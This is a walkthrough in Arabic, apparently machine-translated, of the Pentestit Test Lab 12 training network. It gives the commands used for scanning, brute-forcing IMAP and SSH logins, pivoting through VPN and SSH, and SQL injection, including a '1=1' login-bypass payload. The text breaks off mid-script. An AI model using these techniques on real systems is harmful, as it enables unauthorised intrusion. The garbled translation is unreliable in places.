مختبر Pentestit "مختبر اختبار Pentestit 12" - مرور كامل

صورة

في كل عام ، تطلق Pentestit مختبرًا جديدًا لاختبار الاختراق ، وهو Test Lab ، وستغطي هذه المقالة المعمل الثاني عشر ، المسمى "z 9r347 39u411z3r" أو ، إذا تم فك تشفيرها ، "المعادل الكبير".

تنصل
هذه المقالة ليست استشارية بطبيعتها ، ولكنها تصف فقط الخطوات التي اتخذتها للذهاب إلى المختبر. يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.

اتصال إلى المختبر


يتم الاتصال بالمختبر عبر اتصال VPN (بما أنني كنت أمارس المختبر على جهاز يعمل بنظام Linux ، فسيتم وصف جميع الإجراءات خصيصًا لهذا النظام الأساسي). للدخول إلى الشبكة الخاصة ، يجب عليك تنفيذ الخطوات التالية:

  1. سجل هنا
  2. حفظ ملفات التكوين من هنا .
  3. انتقل إلى إعدادات الشبكة وحدد "إضافة VPN".
  4. الاستيراد من الملف (حدد الملف الذي تم تنزيله مع التكوينات).
  5. حدد تسجيل الدخول وكلمة المرور للاتصال (معطى في علامة التبويب "كيفية الاتصال").
  6. نتصل بشبكة VPN ونقوم باختبار بوابة 192.168.101.1. إذا نجح اختبار ping ، فقمت بالاتصال بالمختبر بنجاح.

البحث الهدف


لدينا إمكانية الوصول إلى الشبكة 192.168.101.X بقناع 255.255.255.0. بادئ ذي بدء ، تحتاج إلى العثور على "المضيفين المباشرين" على الشبكة. يمكن القيام بذلك بسهولة باستخدام الأداة المساعدة nmap:
nmap -sn 192.168.101.0/24 
تستخدم خيارات nmap
-sn - تعريف "المضيفين المباشرين"
ip / mask - عنوان / قناع الشبكة

صورة

لذلك نجد ثلاثة مضيفين ، واحد منهم نعرفه بالفعل (البوابة):

  1. 192.168.101.1
  2. 192.168.101.12
  3. 192.168.101.13

والخطوة الثانية هي فحص الأجهزة المضيفة المكتشفة بحثًا عن المنافذ المفتوحة والمغلقة.
 nmap -sV -Pn 192.168.101.12-13 -p- 
تستخدم خيارات nmap
-sV - المسح الضوئي مع الكشف عن إصدار البرنامج
-Pn - تعطيل ping عند المسح
-p- - مسح مجموعة كاملة من المنافذ

صورة

من التقارير ، من الواضح أن 192.168.101.13 غير متوفر ، لذلك نبدأ من 192.168.101.12. خادم الويب يدور على المنفذ 80. ولكن عند محاولة الوصول إليه ، تحدث إعادة توجيه إلى site.test.lab ، وهو أمر غير معروف لنا (لم يتم تكوين DNS لإعادة التوجيه هذه). يتم التحقق باستخدام متصفح وحليقة.

 curl http://192.168.101.12:80/ curl http://site.test.lab/ 

صورة

قم بإجراء إدخال في الملف / etc / hosts الخاص بـ site.test.lab. الآن ، نذهب بهدوء إلى الموقع.

صورة

الخطوة الأولى هي جمع معلومات حول الموقع. الأهم هو محرك الموقع (CMS - نظام إدارة المحتوى). للقيام بذلك ، استخدم الأداة المساعدة شعر مستعار.
 wig -u http://site.test.lab/ 
للتحليل ، نحصل على تقرير - يستخدم وورد. دعونا تحليل إخراج شعر مستعار:

  1. إدخالات الملكية الفكرية والعنوان.
  2. الاسم والنسخة ونوع البرنامج.
  3. صفحات مهمة
  4. المرافق التي يمكنك استخدامها.
  5. نقاط الضعف المحتملة مع وصلات إلى CVE.

صورة

صورة

لمسح CMS WordPress ، والأهم من ذلك ، الإضافات المثبتة (غالباً ما تكون ضعيفة) ، فإن الأداة المساعدة wpscan هي الأنسب.

 wpscan --url http://site.test.lab/ --enumerate p --random-user-agent 

خيارات wpscan المستخدمة
--url "URL"
- تعداد ع - تعداد (الغاشمة) من الإضافات
- وكيل المستخدم عشوائي - تغيير حقل وكيل المستخدم

نحصل على المعلومات التي نحتاجها: إصدار WordPress ونقاط الضعف والإضافات المثبتة. والحقيقة هي أن هذه الثغرات الأمنية لن توفر لنا الوصول المطلوب. من المفيد جدًا تحديد المكونات الإضافية التي يتم استخدامها. في هذه الحالة ، هو "wp-survey-and-poll". من المهم أن نفهم أنه يجب استخدام الماسحات الضوئية فقط للحصول على معلومات حول البرنامج. نظرًا لعدم وجود قاعدة بيانات واحدة للثغرات الأمنية ، فقد لا يعرض الماسح الضوئي جميع عمليات الاستغلال الحالية. نتيجة للمسح الضوئي ، لدينا:

  1. نسخة WP: 4.9.8.
  2. Twentyseventeen: نعم ، v. 1.9
  3. الإضافات: wp-survey-and-poll v. 1.5.7

إخراج WPScan
صورة

صورة

صورة

صورة

تم تصميم أداة searchsploit للبحث بسهولة عن أكبر قاعدة بيانات للاستغلال db ، والتي يتم تنزيلها وحفظها على جهاز الكمبيوتر الخاص بك. بالنسبة للإصدار 4.9.8 ، لم يتم العثور على ثغرات في قاعدة البيانات. إذا تحققنا من المكوّن الإضافي ، فسنجد نقطتي ضعف.

 searchsploit "WordPress Survey Poll" 

صورة

تعرف على المزيد حول نقاط الضعف هذه. هذا هو حقن SQL ربط منتظم في ملف تعريف الارتباط. نحتاج إلى الإجابة على السؤال واستبدال طلبنا في ملفات تعريف الارتباط. هذه التقنية بسيطة للغاية: (أي تعبير) أو 1 = 2 سيعود خطأ ، ثم يعرض نظام إدارة قواعد البيانات بدلاً من حل إجابتنا الجزء الثاني من اتحاد الطلب المشترك. هذه كلها أعمدة ، سيتم عرض أحدها (رقم 10) على الصفحة. لكن التشغيل من قطاع الشبكة هذا كان مستحيلًا ، حيث أصبح معروفًا لاحقًا ، لأنه يحجب WAF.

صورة

الرمز المميز للبريد


بعد الفشل في الموقع ، تحتاج إلى العثور على نقاط دخول أخرى. على الموقع ، يمكنك العثور على info@test.lab تسجيل الدخول ، والذي سنستخدمه لتحديد معلومات المصادقة. دعنا نذهب إلى المنافذ الأخرى. تدور شبكة الويب على 8080 ، ولكن يتم استخدام رمز CSRF. في 25 بروتوكول نقل البريد الإلكتروني ، كلمة المرور التي لم تنجح. لدينا فقط منفذ 143 اليسار - هذه هي خدمة IMAP. ل brutus ، لقد استخدمت أداة هيدرا. كما اتضح ، كانت كلمة المرور بسيطة للغاية.

 hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12 

صورة

منذ أن وجدنا اسم المستخدم وكلمة المرور للبريد ، نسجّل الدخول إلى 192.168.101.12:8080 ، والآن تحتاج إلى تحليل جميع رسائل البريد بشكل صحيح. علاوة على ذلك ، من الضروري جمع كل المعلومات ، لأنها قد تكون مفيدة في وقت لاحق. إليك ما وجدته:

  1. البريد الوارد: تكوينات VPN.
  2. في الخارج: رمز لإعداد البريد.
  3. اسم المستخدم sviridov@test.lab

صورة

VPN عبر VPN


نحتاج للتوسع في شبكة الشركة. لدينا تهيئة VPN ، لكن لا يمكننا قطع الاتصال بالشكل الرئيسي. تسمى هذه التقنية VPN عبر VPN - عندما نقوم بتوصيل VPN داخل VPN داخل VPN ، إلخ. بالنسبة إلى VPN ، يلزم إدخال اسم مستخدم وكلمة مرور. نحن نعرف فقط 2 مستخدمين (info و sviridov) وكلمة مرور أحدهم. نحن نحاول الاتصال باستخدام اسم مستخدم وكلمة مرور معروفين ، وإذا لم ينجح الأمر ، فسوف نتعرض للوحشية. للاتصال ، قم بتنفيذ الخطوات التالية:

  1. قم بإنشاء ملف userVPN.txt ، حيث السطر الأول هو اسم المستخدم والثاني هو كلمة المرور.
  2. أضف المسار إلى هذا الملف إلى تهيئة VPN في عمود مصادقة المستخدم
  3. يمكنك إنشاء برنامج نصي للباش OverVPN.sh بالمحتويات التالية: openvpn - تكوين التكوين_path_to_file_ &
  4. خصص له الحقوق: chmod 770 ./OverVPN.sh
  5. Run: ./OverVPN.sh

صورة

نحن محظوظون ، لقد تم تسجيل دخول المستخدم info@test.lab بنجاح ، وقيل لنا أن هناك شبكة جديدة متاحة على 172.16.0.0/16.

صورة

بادئ ذي بدء ، تحتاج إلى العثور على "المضيفين المباشرين" على الشبكة ، كما فعلت في المرة الأخيرة:

 nmap -sn 172.16.0.0/16 

لذلك نجد أربعة مضيفين.

صورة

مسح كل مضيف. على 172.16.0.1 لم يتم العثور على شيء. أجرؤ على افتراض أن هذا هو 192.168.101.13 المعروف لدينا على شبكة أخرى. من خلاله نحن متصلون بهذه الشبكة. على 172.16.0.10 ، يتوفر فقط خادم الويب على المنفذ 80. في 172.16.0.17 نرى "أرض اختبار" كاملة للاختبار. في 172.16.1.2 لا شيء. على الأرجح ، هذه خدمة VPN أخرى.

نتائج مسح Nmap
صورة

صورة

صورة

رمز DNS


نظرًا لأن DNS التالي في قائمة الرموز هو ، سنبدأ في تحليل خدمة DNS على المنفذ 172.16.0.17. والضعف الرئيسي هو الحصول على سجلات DNS - نقل منطقة DNS (ما يسمى طلب AXFR). نحن ننفذ ذلك باستخدام أدوات nslookup وحفر.

أول من يعرف المناطق وأسماء الخوادم المسؤولة عن هذه المناطق.

 nslookup > set type=ANY > set port=53 > SERVER 172.16.0.17 > test.lab 

والثانية سوف تؤدي عملية النقل.
 dig @172.16.0.17 ns1.test.lab axfr 

صورة

صورة

خادم DNS هذا لا يستجيب. لكنه يعرف عن بقية DNS على الشبكة. تتيح لك الأداة المساعدة dnsrecon القيام بأي عملية مع نظام أسماء النطاقات. الحصول على بقية DNS على الشبكة وإضافتها إلى ملف / etc / hosts.

 dnsrecon -d test.lab -n 172.16.0.17 -t brt 

خيارات Dnsrecon
"المجال"
-ن "الخادم"
-t brt هي تقنية ، في هذه الحالة القوة الغاشمة.

عند مسح المضيف 172.16.0.17 ، نحصل على الرمز المميز.

 dnsrecon -d test.lab -n 172.16.0.17 -a 

نتيجة Dnsrecon
صورة

صورة

صورة

رمز مكتب المساعدة


المهمة التالية في القائمة: مكتب المساعدة. وجدنا وأضاف مجال مماثل. علاوة على ذلك ، هذه هي الخدمة الوحيدة التي تعمل على 172.16.0.10. هناك شكل بسيط من الترخيص ، لا يتم استخدام CMS. كما هو الحال دائمًا ، نحاول تسجيل الدخول كمستخدمين معروفين. ونحن نذهب بهدوء تحت info@test.lab المستخدم. نرى نموذج الطلب ، وبعد طلب الرمز المميز ، لم نحصل على أي شيء. يبدو أننا لا نملكها ، ولكن كما يحدث في مثل هذه المهام ، فهي متاحة لمستخدم آخر. بعد مراجعة صغيرة للصفحة ، نجد القدرة على تغيير كلمة المرور.

صورة

بعد فحص نماذج البحث وكلمة المرور الممسوحة ضوئيًا باستخدام ماسحات ضوئية متنوعة ، لا نجد شيئًا. ألقِ نظرة على الكود المصدر لصفحة تغيير كلمة المرور. إذا قمت بتحديثه عدة مرات ، ستلاحظ أن الحقل المخفي برمز CSRF لا يتغير. وهذا هو ، ليس رمزي CSRF. هذا هو base64 ، فك شفرة والحصول على الرقم.

صورة

صورة

نظرًا لعدم إرسال ملفات تعريف الارتباط ، فمن الواضح أن هذا هو معرف المستخدم. الخطة على النحو التالي: نقوم بتغيير كلمات المرور لجميع المعرفات ، وبالنسبة لأولئك الذين تم الحصول على نتيجة ناجحة ، نختار تسجيل الدخول باستخدام كلمة المرور الخاصة بنا.

تنفيذ تجشؤ الجناح
صورة

صورة

صورة

صورة

صورة

صورة

استجاب معرفان فقط بنجاح لطلب تغيير كلمة المرور. الآن يبقى اختيار اسم مستخدم. لم يقدم الجذر والمشرف نتيجة ، لكن sviridov@test.lab يعطينا رمزًا مميزًا.

رمز الإعلان


قبل أن تذهب في مسار VPN ، دعونا نلقي نظرة على الخدمات على 172.16.0.17. حفر SAMBA اختبار مجموعة العمل (من تحليل nmap). بادئ ذي بدء ، تحتاج إلى معرفة المستخدمين في المجال:

 enum4linux -U 172.16.0.17 

يحدد Enum4linux النطاقات والمستخدمين في النطاقات وتخلصهم والمعلومات الأخرى. بين المستخدمين ، نأخذ الرمز المميز. بالمناسبة ، من الأفضل الاحتفاظ بجميع عمليات تسجيل الدخول.

صورة

رمزية المستخدمين


من مكتب المساعدة ، تعلمت المهام أنه تم منح المستخدم sviridov الوصول إلى الشبكة ، أي تهيئة vpn. نأخذ أيضا كلمة المرور من مكتب المساعدة. نحاول الاتصال بـ 192.168.101.13 باستخدام التكوين الحالي ، ولكن مع استبدال اسم المستخدم وكلمة المرور للمستخدم في userVPN.txt.

صورة

لا شيء يحدث. ثم نحاول الاتصال بـ 192.168.101.12. نحن متصلون والشبكات 192.168.0.0/24 و 172.16.0.0/16 متاحة لنا.

صورة

الآن مرة أخرى لا بد من إجراء استطلاع للشبكة. لدينا شبكتان 172.16.0.0 مع قناع 255.255.0.0 ، حيث نجد ثمانية مضيفين ، وشبكة 192.168.0.0/24 ، والتي لم يتم مسحها ضوئيًا. يبدو أن جدار الحماية مفعل على جميع الأجهزة المضيفة. نحن نقوم بالمسح الضوئي باستخدام خيار -Pn ، وفي التقرير نحصل على تصفية جميع الأجهزة المضيفة والمنافذ في كل مكان. نلاحظ أن هناك مضيفين على الشبكة لديهم منفذ 22 مفتوح:

  • 192.168.0.10
  • 192.168.0.15
  • 192.168.0.30
  • 192.168.0.100
  • 192.168.0.205
  • 192.168.0.240

نتيجة المسح Nmap
صورة

صورة

صورة

صورة

صورة

صورة

نظرًا لأن الشيء الوحيد الموجود على الشبكة هو 192.168.0.0/24 هو ستة مضيفين لديهم منافذ ssh مفتوحة ، سننتقل عبرهم جميعًا لنكون قادرين على الاتصال ضمن أحد المستخدمين الذين نعرفهم.

صورة

نظرًا لوجود ستة مضيفين ، فإننا نقوم تلقائيًا بالبحث باستخدام الأداة المساعدة metasploit Framework. سوف نستخدم الوحدة النمطية / الماسح الضوئي / ssh / ssh_login.

 > use auxiliary/scanner/ssh/ssh_login > set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240 > set USERPASS_FILE '/root/CTF/PT12/userspass.txt' > exploit 

صورة

نذهب إلى جميع المضيفين تحت كل المستخدمين والبحث عن المعلومات. بعد مسيرة طويلة على 192.168.0.100 ، وجدنا خطأ في حقوق الوصول. الدليل الرئيسي للمستخدم متاح للعرض على الإطلاق. نجد رمزية في ذلك. لكن مؤلفها هو سفيريدوف. تسجيل الدخول تحت سفريدوف وتسليم الرمز.

صورة

تم العثور على شيء أكثر إثارة للاهتمام. كان الطريق IP لا توجد شبكات أخرى. في كرون لم يكن هناك سوى نظافة. في / tmp / الكثير من المفهوم:

  • 1.sh - لم يعطِ شيئًا.
  • Client.jar لا يبدأ لأنه لا يوجد JVM. إنه لأمر غريب لماذا هناك حاجة على الإطلاق.
  • إعادة تسمية إلى DAGESTAN_SILA nmap.
  • لعبة الداما اثنين لزيادة الامتيازات.
  • والكثير من القمامة المختلفة.

رمزية VPN


على شبكة 172.16.0.0/16 ، المنفذ 80 مفتوح على كافة الأجهزة المضيفة. يجدر تصفح المواقع على جميع المضيفين:

  • في 172.16.1.10 نجد الرمز! اقترب مهمة VPN. يبدو أن المهمة كانت لتخمين الاتصال 192.168.101.12 كمستخدم sviridov.
  • في 172.16.1.12 نموذج التفويض.
  • على 172.16.1.15 المصادقة الأساس.

كان من السهل جدا ، والمضي قدما.

الرمز المميز SIEM


نذهب إلى 172.16.1.12 . نقرأ ما هو Prewikka. Prewikka هي واجهة المستخدم الرئيسية لنظام Prelude SIEM ، ويتم تنفيذها من خلال الويب. الوصول إلى الواجهة عبر متصفح ويب. تتم المصادقة باستخدام الحسابات المحلية أو من خلال دليل LDAP. لم يتم العثور على مآثر. جوجل تسجيل الدخول وكلمة المرور بشكل افتراضي. فشل ، لأنه يتم الإشارة إليها أثناء تثبيت النظام. ولكن يمكنك محاولة مثال من الوثائق: مقدمة: preludepasswd - لم يصلح. دعنا نجرب المستخدمين الذين نعرفهم بالفعل (ونعرف فقط كلمات مرور اثنين). جاء سفيريدوف. من المهم أن نلاحظ أن المسؤول فقط لديه حق الوصول إلى نظام SIEM. يمكن القول أننا حددنا المشرف.

نلاحظ أن البيانات لهذا الشهر يتم عرضها. نترجم المجلة قبل شهر ونرى البيانات المسجلة.

صورة

لاحظ فقط المجالات التي نضيفها إلى / etc / hosts:

  • (admin.test.lab) 172.16.1.25
  • (vpn-admin.test.lab) 172.16.1.10
  • (repository.test.lab) 172.16.1.15
  • (site.test.lab) 172.16.0.14

صورة

من بين سجلات repository.test.lab ، نجد رمزًا مميزًا.

صورة

منذ أن وجدنا وأضفنا إدخالًا جديدًا لـ site.test.lab في / etc / hosts ، دعنا نعود ونستغل الثغرة الأمنية في الموقع.

رمزية الموقع


العودة إلى site.test.lab ، والذي يتوافق الآن مع 172.16.0.14. دعونا نرى ما إذا كان WAF يعمل لذلك. نرسل حمولتنا من المثال والحصول على إصدار DBMS. بعد ذلك ، نكتشف قاعدة البيانات المستخدمة. إذا كانت تتطابق مع البيانات الافتراضية ، فيمكنك على الفور الحصول على اسم وتجزئة المستخدم ، نظرًا لأن الجدول مع المستخدمين افتراضيًا هو: wp_users. اسم قاعدة البيانات (وورد) هو نفسه ، وبالتالي ، فإننا نعرف اسم المستخدم وكلمة المرور. لسوء الحظ ، هذا لا يعطي أي شيء. فشل تمرير كلمة المرور أيضًا.

بعد ذلك (لن أصف هذه التقنية ، هذه هي الأساسيات) نسير على الطريق المعتاد في هذه الحالة - نحصل على أسماء جميع الجداول. من بينها هناك الجدول الضروري - رمزية. معرفة ما هي الأعمدة وأنواع البيانات. ثم نفهم أننا بحاجة إلى الحصول على قيمة الاسم.

استغلال نقاط الضعف مع Burp Suite
صورة

صورة

صورة

صورة

مستودع رمزية


في SIEM ، وجدنا سجلات repository.test.lab. دعنا نحاول تسجيل الدخول باستخدام البيانات الموجودة. يمكنك العودة مرة أخرى والبحث عن سجلات لجميع الخدمات الموجودة على الإطلاق.

صورة

نمر ، ونحن نحاول تسجيل الدخول. بنجاح !!! نرى بعض الملفات ورمز رمزي.

صورة

رمز عكسي


بالإضافة إلى الرمز المميز ، كان هناك ملفان آخران في المستودع. أحدهم لتحديد Reverse هو ملف bin. لنقم بإجراء تحليل أساسي للملف القابل للتنفيذ:

  • السلاسل - أداة مساعدة تعرض جميع الأسطر من ملف. في هذه الحالة ، نرى الكثير من خطوط base64. فك التشفير لا يعطي شيئًا.
  • Ltrace هي أداة مساعدة تعترض استدعاءات وظائف المكتبة. في هذه الحالة ، لم يتم استدعاء وظائف المكتبة.
  • Strace هي أداة مساعدة تعترض جميع أنظمة syskols (مكالمات النظام). لم نتلق أي بيانات مفيدة.

نتيجة هذه المرافق
صورة

صورة

صورة

لم نتلق أي بيانات مفيدة. بالنسبة للمهام من هذا النوع ، أفضل استخدام Angr للحلول التلقائية (سأكتب المزيد عن مكتبة angr في المقالات التالية). أعطي الرمز في الثعبان.

 import angr import claripy proj = angr.Project('./bin') simgr = proj.factory.simgr() simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1)) s = simgr.found[0] print(s.posix.dumps(0)) 

نحصل على الرمز كإجابة.

صورة

رمزية DB


الآن دعونا معرفة ملف جرة. تحتاج إلى فهم ما يفعله. Java هي لغة غير مكررة ، لذلك نحصل على الكود المصدري. هناك العديد من البرامج التي تتيح لك القيام بذلك (الأفضل: JAD ، JD-gui ، Javasnoop ، Intellij Idea Decompiler ، JD-plugin Eclipse). أستخدم JD-gui في فك التشفير و Intellij Idea لمشاريع البناء. الحصول على المشروع المصدر باتباع الخطوات التالية:

  1. تشغيل jd- واجهة المستخدم الرسومية. على نظام Linux ، هناك مشكلة في بدء التشغيل يمكن حلها على هذا النحو - قم بإنشاء ملف bash بالمحتويات التالية:
    java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
  2. قم بتنزيل client.jar وحفظه.
  3. افتح Intellij Idea → مشروع الاستيراد. حدد المسار إلى مجلد الملف.
  4. إنشاء مشروع من المصادر الحالية.

الحفظ إلى JD-GUI
صورة

صورة

دعنا نحلل كود التطبيق لتصور ما هو عليه. الخطوة الأولى هي ضبط معلمات الاتصال و SSL. تحدث المكالمة على العنوان 172.16.0.55 على المنفذ 5074. بعد ذلك ، تلقينا رسالة تطالبك بإدخال أحد الأرقام لتحديد طلب. بناءً على ذلك ، يتم تمرير معلمة معينة إلى وظيفة Reqvest. ترجع الدالة Reqvest الطلب الذي تم إنشاؤه بتنسيق json. نرسل طلب والحصول على استجابة.

فك شفرة مصدر التطبيق
صورة

صورة

صورة

هناك صعوبة: المضيف 172.16.0.55 غير متوفر لنا. لكن وجدنا تطبيق مماثل على 192.168.0.240 في سفيروف. هذا يعني أن التوجيه قد تم تكوينه بطريقة تتيح الوصول إلى خادم التطبيق من جهاز الكمبيوتر الخاص به. نظرًا لأن لدينا وصول عبر SSH ، يمكننا إعادة توجيه المنفذ إلى منطقتنا. لإعادة توجيه المنفذ ، استخدم الأداة المساعدة sshuttle.
 sshuttle -r sviridov@192.168.0.240 172.16.0.0/16 

صورة

نتيجة لذلك ، يمكننا الوصول إلى الشبكة.

صورة

الآن نقوم باختبار التطبيق في وضع التصحيح ، ولكن لتغيير شيء ما ، تحتاج إلى إعادة إنشاء المشروع. عند محاولة تشغيل التطبيق من خلال F9 ، حصلنا على خطأ. لإصلاحها ، يجب عليك:

  1. تكرار واضح.
  2. خطأ في json. احذف المجلد بأكمله من المشروع.
  3. حدد المشروع في قائمة السياق: افتح إعداد الوحدة النمطية أو F4
  4. في علامة تبويب التبعيات ، حدد "+" وحدد ملف الجرة. لذلك من المشروع النهائي ، سنقوم بتحميل المكتبات التي تم تجميعها بالفعل والتي خربها برنامج فك التشفير.

صورة

الآن يبدأ التطبيق بنجاح ، ويمكننا البدء في البحث عن نقاط الضعف. يتم تكوين سلسلة الاستعلام ، كما اكتشفنا ، داخل دالة Reqvest. دعنا نغير الكود قليلاً لفهم كيف يستجيب النظام لأي من مدخلاتنا. نضيف الأسطر التي سنتحكم بها في المعلمة التي تم إرجاعها ونعرضها في وحدة التحكم. بعد ذلك ، سنقوم بإجراء أربعة استفسارات ممكنة. كما نرى ، يتم تمرير سلسلة JSON. وسيعيد النظام ، الذي يشبه إلى حد ما مكتب المساعدة ، طلبات المستخدم إلينا. بالمناسبة ، يبدو أن قواعد البيانات تدور على الخادم ، لأن التطبيق يعيدنا إلى المستخدم الذي تم بموجبه تقديم الطلب.

اختبارات
صورة

صورة

صورة

صورة

صورة

لجعلها أكثر ملاءمة لتغيير المعلمات وضبطها ، نجعل الوظيفة تُرجع السلسلة نفسها باستمرار.

صورة

نظرًا لاستخدام قاعدة البيانات على الخادم ، فإن أول شيء يجب التحقق منه هو وجود حقن SQL:

  1. سوف نرسل الحمل الأكثر ضررًا - وظيفة التأخير. يستغرق الطلب مع تأخير لمدة 10 ثوانٍ وقتًا أطول بكثير من تأخير قدره 0 ثانية. هناك حقن النوم.
  2. تحقق مما إذا كان عرضة للعمى. نظرًا لعدم تغير النتيجة إلى الحالة الصحيحة ، يكون التطبيق عرضة لحقن BLIND.
  3. تحتاج أولاً إلى معرفة عدد الأعمدة في الإخراج. للقيام بذلك ، نقوم ببناء طلب مشترك من الاتحاد. نقوم بالفرز بعدد الأعمدة حتى لا يوجد إخراج. لذلك يظهر الإخراج مع 5 أعمدة.
  4. أنت الآن بحاجة إلى معرفة معلومات الخدمة: DBMS (version) واسم قاعدة البيانات (database ()). اسم قاعدة البيانات هو معرفة ما يجب الاتصال به ، و DBMS هي البيئة التي يجب التعامل معها. لذلك اكتشفنا أن MySQL مستخدم ، واسم قاعدة البيانات هو "reqvest".
  5. الآن ، من خلال بيئة المعلومات ، نكتشف الجداول الموجودة. نحن مهتمون بالرمز.
  6. نكتشف الأعمدة الموجودة في الجدول المميز.
  7. عرض محتويات الجدول الرمز المميز.

العملية "
صورة

صورة

صورة

صورة

صورة

صورة

هذه المهمة تبين أنها مثيرة للاهتمام للغاية !!!

رمز المستخدم api


بعد اكتشاف ستة مضيفين مخفيين على شبكة 192.168.0.0/24 ، فكرت في حقيقة أن هذه يمكن أن تكون في 172.16.0.0/16. إجراء نفس المسح على المنافذ الرئيسية. نظرًا لأن الناتج كبير جدًا ، فسوف نبحث عن الكلمة "open". نجد مضيفين آخرين مع شبكة مفتوحة.

صورة

حسنًا ، نظرًا لأنهم حاولوا إخفاء 172.16.1.20:8000 عنا ، فإننا نذهب إليه ونرى تطبيق AJAX. حسنًا ، كما هو الحال دائمًا ، نقوم بفحص الأدلة. كل ما وجده ديرب متاح لنا بالفعل.

صورة

صفحة الاتصال غير مجدية بالنسبة لنا. تتطلب صفحة تسجيل الدخول إذنًا. ويحتوي الدعم على نوع من ملفات الباركود. يبدو أن هذا أمر شديد الضيق ، لذلك دعونا نترك الأمر الآن. بالمناسبة ، إذا ذهبت إلى هذه الصفحة عدة مرات ، تظهر صور مختلفة. سنوفر كل شيء ، هناك فقط 4. يتم فك تشفيرها كـ "support_team".

دعونا ننظر في ما الدلائل هناك. نلاحظ خمسة أدلة: contac ، get_user_list ، recovery_password ، تسجيل الدخول ، الدعم. لذلك إذا نظرت إلى دليل get_user_list ، فسيخبروننا أن هناك معلمتين - سلسلة تسجيل الدخول وسلسلة كلمة المرور. ننظر ، نختار المستخدمين وكلمات المرور - لا يعطي شيئًا. في الرموز الشريطية ، تمت تجربة support_team كدخول. ومرة أخرى ، الوحشية لا تعطي شيئًا في أي مكان.

صورة

عن طريق إدخال علامة اقتباس عن طريق الخطأ ، نجد رد فعل غريب.
login=support_team“&password=“ and “1=1“

ونحن تظهر قائمة المستخدمين.

صورة

عند محاولة تسجيل الدخول كأي مستخدم ، نحصل على نفس الخطأ. العثور على المستخدم الصحيح: زوج تسجيل الدخول. سوف نكتب نصًا سينتقل إلى جميع الأزواج وتحديد تلك التي تجتاز الاختبار.

قانون
 from requests import get list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": 